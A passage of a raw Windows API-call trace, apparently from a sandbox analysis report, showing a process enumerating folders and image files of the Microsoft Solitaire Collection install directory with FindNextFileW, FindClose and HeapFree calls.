ftCreationTime.dwLowDateTime=0x342422a4, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xabf96d1f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x342b49b5, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Assets", cAlternateFileName="")) returned 0 [0088.198] FindClose (in: hFindFile=0x582cc8 | out: hFindFile=0x582cc8) returned 1 [0088.198] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0088.198] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x342dac13, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xabf9793f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x342dac13, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Arkadium.Win10.DailyChallenges", cAlternateFileName="ARKADI~1.DAI")) returned 1 [0088.201] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0088.201] FindNextFileW (in: hFindFile=0x582f08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3447e5fb, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xac043e7b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3447e5fb, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Audio", cAlternateFileName="")) returned 1 [0088.201] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0088.201] FindNextFileW (in: hFindFile=0x582f08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3447e5fb, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x344caab3, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x344caab3, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x8b9fd, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="badge-animation_2.png", cAlternateFileName="")) returned 1 [0088.201] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0088.201] FindNextFileW (in: hFindFile=0x582f08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x344f0d0c, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x344f0d0c, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x344f0d0c, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x4ea, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DC_HolderEarned.png", cAlternateFileName="")) returned 1 [0088.202] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0088.202] FindNextFileW (in: hFindFile=0x582f08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3458b455, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xac0bb1e2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3464a018, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Popups", cAlternateFileName="")) returned 1 [0088.494] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0088.494] FindNextFileW (in: hFindFile=0x582cc8, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3464a018, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xac12f3ab, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x34670276, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Upsell", cAlternateFileName="")) returned 0 [0088.495] FindClose (in: hFindFile=0x582cc8 | out: hFindFile=0x582cc8) returned 1 [0088.495] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0088.495] FindNextFileW (in: hFindFile=0x582f08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x34670276, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xac18e78c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x34708be4, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PrizeHistory", cAlternateFileName="PRIZEH~1")) returned 1 [0088.497] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0088.497] FindNextFileW (in: hFindFile=0x582f08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x34708be4, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xac18f047, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x34708be4, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ProgressBar", cAlternateFileName="PROGRE~1")) returned 1 [0088.498] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0088.498] FindNextFileW (in: hFindFile=0x582f08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3472fed7, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x3472fed7, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x3472fed7, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x1f4c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ribbon.png", cAlternateFileName="")) returned 1 [0088.498] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0088.498] FindNextFileW (in: hFindFile=0x582f08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3472fed7, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xac18f99f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3472fed7, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Tab", cAlternateFileName="")) returned 0 [0088.498] FindClose (in: hFindFile=0x582f08 | out: hFindFile=0x582f08) returned 1 [0088.498] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0088.500] FindNextFileW (in: hFindFile=0x582d48, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x342dac13, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xabffc808, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3472fed7, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Assets", cAlternateFileName="")) returned 0 [0088.500] FindClose (in: hFindFile=0x582d48 | out: hFindFile=0x582d48) returned 1 [0088.500] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0088.500] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3477c3bd, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xac190436, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3477c3bd, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Arkadium.Win10.News", cAlternateFileName="ARKADI~1.NEW")) returned 1 [0088.502] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0088.502] FindNextFileW (in: hFindFile=0x582e08, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3477c3bd, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xac1fc576, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x347a261b, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Assets", cAlternateFileName="")) returned 0 [0088.503] FindClose (in: hFindFile=0x582e08 | out: hFindFile=0x582e08) returned 1 [0088.503] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0088.503] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x347a261b, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xac1fd71d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x347a261b, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Arkadium.Win10.StarClub", cAlternateFileName="ARKADI~1.STA")) returned 1 [0088.507] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0088.508] FindNextFileW (in: hFindFile=0x582f08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x34814d2b, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xac3196ed, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x34814d2b, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Badges", cAlternateFileName="")) returned 1 [0088.508] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0088.508] FindNextFileW (in: hFindFile=0x582f08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3483af85, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x3483af85, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x3483af85, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x1e3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="collection_base.png", cAlternateFileName="")) returned 1 [0088.509] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0088.553] FindNextFileW (in: hFindFile=0x582f08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x348db826, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x348db826, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x348db826, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x1f4c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ribbon.png", cAlternateFileName="")) returned 1 [0088.555] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0088.555] FindNextFileW (in: hFindFile=0x582f08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3494df4a, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x3494df4a, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x3494df4a, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x5fe, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Star-Club-button_gold.png", cAlternateFileName="")) returned 1 [0088.556] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0088.556] FindNextFileW (in: hFindFile=0x582f08, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3499a434, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xac36f571, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3499a434, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Stripes", cAlternateFileName="")) returned 0 [0088.556] FindClose (in: hFindFile=0x582f08 | out: hFindFile=0x582f08) returned 1 [0088.556] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0088.556] FindNextFileW (in: hFindFile=0x582d48, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x347a261b, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xac275cac, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3499a434, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Assets", cAlternateFileName="")) returned 0 [0088.556] FindClose (in: hFindFile=0x582d48 | out: hFindFile=0x582d48) returned 1 [0088.556] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0088.558] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3499a434, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xac3703f0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3499a434, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Arkadium.Win10.Upsell", cAlternateFileName="ARKADI~1.UPS")) returned 1 [0088.561] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0088.561] FindNextFileW (in: hFindFile=0x583008, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3499a434, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xac371336, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3499a434, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Default", cAlternateFileName="")) returned 0 [0088.561] FindClose (in: hFindFile=0x583008 | out: hFindFile=0x583008) returned 1 [0088.561] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0088.561] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x349e68bd, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xac371ee7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x349e68bd, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Arkadium.Win10.Xaml.Toolkit", cAlternateFileName="ARKADI~1.TOO")) returned 1 [0088.564] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0088.564] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x34a0cb16, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xac52ad21, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x34a32d6a, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Menu", cAlternateFileName="")) returned 1 [0088.566] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0088.566] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x34a0cb16, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xac52ad21, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x34a32d6a, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Menu", cAlternateFileName="")) returned 0 [0088.566] FindClose (in: hFindFile=0x583048 | out: hFindFile=0x583048) returned 1 [0088.566] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0088.566] FindNextFileW (in: hFindFile=0x582d48, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34a32d6a, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x34acb6c6, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x34acb6c6, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x5625, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="CardsLoadingSpritesheet.png", cAlternateFileName="")) returned 1 [0088.567] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0088.567] FindNextFileW (in: hFindFile=0x582d48, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34af1924, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x34af1924, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x34af1924, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x3452, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MicrosoftLogo.png", cAlternateFileName="")) returned 1 [0088.570] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0088.570] FindNextFileW (in: hFindFile=0x582d48, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x34af1924, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xac5cdd03, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x34b17b7d, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="XboxControl", cAlternateFileName="XBOXCO~1")) returned 0 [0088.570] FindClose (in: hFindFile=0x582d48 | out: hFindFile=0x582d48) returned 1 [0088.570] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0088.571] FindNextFileW (in: hFindFile=0x583008, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x349e68bd, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xac487abd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x34af1924, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Assets", cAlternateFileName="")) returned 0 [0088.571] FindClose (in: hFindFile=0x583008 | out: hFindFile=0x583008) returned 1 [0088.571] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0088.571] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x34b17b7d, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xac644067, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x377f6ca3, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Assets", cAlternateFileName="")) returned 1 [0088.574] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0088.574] FindNextFileW (in: hFindFile=0x583008, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x34b64035, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xac6cbcfb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x34c48e56, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Audio", cAlternateFileName="")) returned 1 [0088.576] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0088.576] FindNextFileW (in: hFindFile=0x583008, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x34c48e56, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xac6cce12, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x350306db, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Awards", cAlternateFileName="")) returned 1 [0088.848] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0088.848] FindNextFileW (in: hFindFile=0x583148, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x34d56040, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xac7e1fd7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x34e610ba, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="common", cAlternateFileName="")) returned 1 [0088.850] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0088.850] FindNextFileW (in: hFindFile=0x583148, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x34e610ba, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xac845f95, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x34e87318, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="freecell", cAlternateFileName="")) returned 1 [0088.854] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0088.854] FindNextFileW (in: hFindFile=0x583148, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x34ead571, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xac8488db, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x34ef9a28, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="klondike", cAlternateFileName="")) returned 1 [0088.855] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0088.855] FindNextFileW (in: hFindFile=0x583148, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x34f1fc81, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xac8a1411, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x34f97d43, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pyramid", cAlternateFileName="")) returned 1 [0088.863] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0088.864] FindNextFileW (in: hFindFile=0x583148, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x34f97d43, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xac8e55e7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3500a487, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="spider", cAlternateFileName="")) returned 1 [0088.866] lstrlenW (lpString="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_x64__8wekyb3d8bbwe\\Assets\\Awards\\spider") 